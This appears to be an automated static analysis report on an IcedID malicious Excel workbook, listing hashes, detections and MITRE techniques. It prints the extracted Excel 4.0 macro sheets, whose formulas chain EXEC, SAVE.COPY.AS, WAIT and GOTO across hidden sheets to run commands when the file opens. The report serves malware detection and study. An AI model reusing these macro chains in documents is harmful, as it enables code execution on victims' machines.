IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 c2166aca3c16636e…

MALICIOUS

Office (OOXML)

409.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-23
MD5: c9b7d1096cf3b76e8e371978b104afd3 SHA-1: e76522a48135bf8e2e6aa43304234f3e3997d269 SHA-256: c2166aca3c16636e18f367f43f716fd6a79ff8f541e8d1ae40af8aaabb1ce283
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for Excel 4.0 macros, including the use of dangerous functions like EXEC and GOTO. These functions are likely used to download and execute a second-stage payload, consistent with the IcedID family's behavior. The presence of hidden sheets further supports the concealment of malicious activity.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1661 bytes
SHA-256: 1701289927882c2194ab7a2de047445318ead41e48d171f61fab5d4716ed000c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H23:I28"/><sheetViews><sheetView showFormulas="1" topLeftCell="A7" workbookViewId="0"><selection activeCell="A7" sqref="A7"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.85546875" style="2"/><col min="8" max="8" width="14.85546875" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="8.85546875" style="2"/></cols><sheetData><row r="23" spans="8:9" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>3</v></c></row><row r="28" spans="8:9" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK161)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2532 bytes
SHA-256: 5a29f1ef1a412a24cadb7d135cd01e93ad84d7098ce0b4f803269eb162b5772e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AJ701:AL717"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="11" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="9.7109375" style="2" customWidth="1"/><col min="2" max="2" width="14.140625" style="2" customWidth="1"/><col min="3" max="32" width="11" style="2"/><col min="33" max="33" width="16.140625" style="2" customWidth="1"/><col min="34" max="34" width="11" style="2"/><col min="35" max="36" width="8.5703125" style="2" customWidth="1"/><col min="37" max="37" width="24.140625" style="2" customWidth="1"/><col min="38" max="16384" width="11" style="2"/></cols><sheetData><row r="701" spans="36:38" x14ac:dyDescent="0.25"><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="36:38" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="36:38" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(AJ704&amp;AJ705&amp;AJ706)=NOW()=NOW()=NOW()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="704" spans="36:38" x14ac:dyDescent="0.25"><c r="AJ704" s="2" t="str"><f>"tar -x"</f><v>tar -x</v></c></row><row r="705" spans="36:37" x14ac:dyDescent="0.25"><c r="AJ705" s="2" t="s"><v>5</v></c></row><row r="706" spans="36:37" x14ac:dyDescent="0.25"><c r="AJ706" s="2" t="s"><v>4</v></c><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="717" spans="36:37" x14ac:dyDescent="0.25"><c r="AK717" s="2" t="e"><f>GOTO(Bkidydj!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1632 bytes
SHA-256: a633bf236f89377b178e697dbbf497c6f3e332e4c5074043bda4fcd5309c90ad
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72FD7C7A-A3BA-4BD4-A707-DDD14281DB2B}"><dimension ref="G14:G19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="8.7109375" style="2"/><col min="7" max="7" width="5.85546875" style="2" customWidth="1"/><col min="8" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="b"><f>EXEC(Nolaert!AL701&amp;Nolaert!AL702&amp;Nolaert!AL703)=NOW()</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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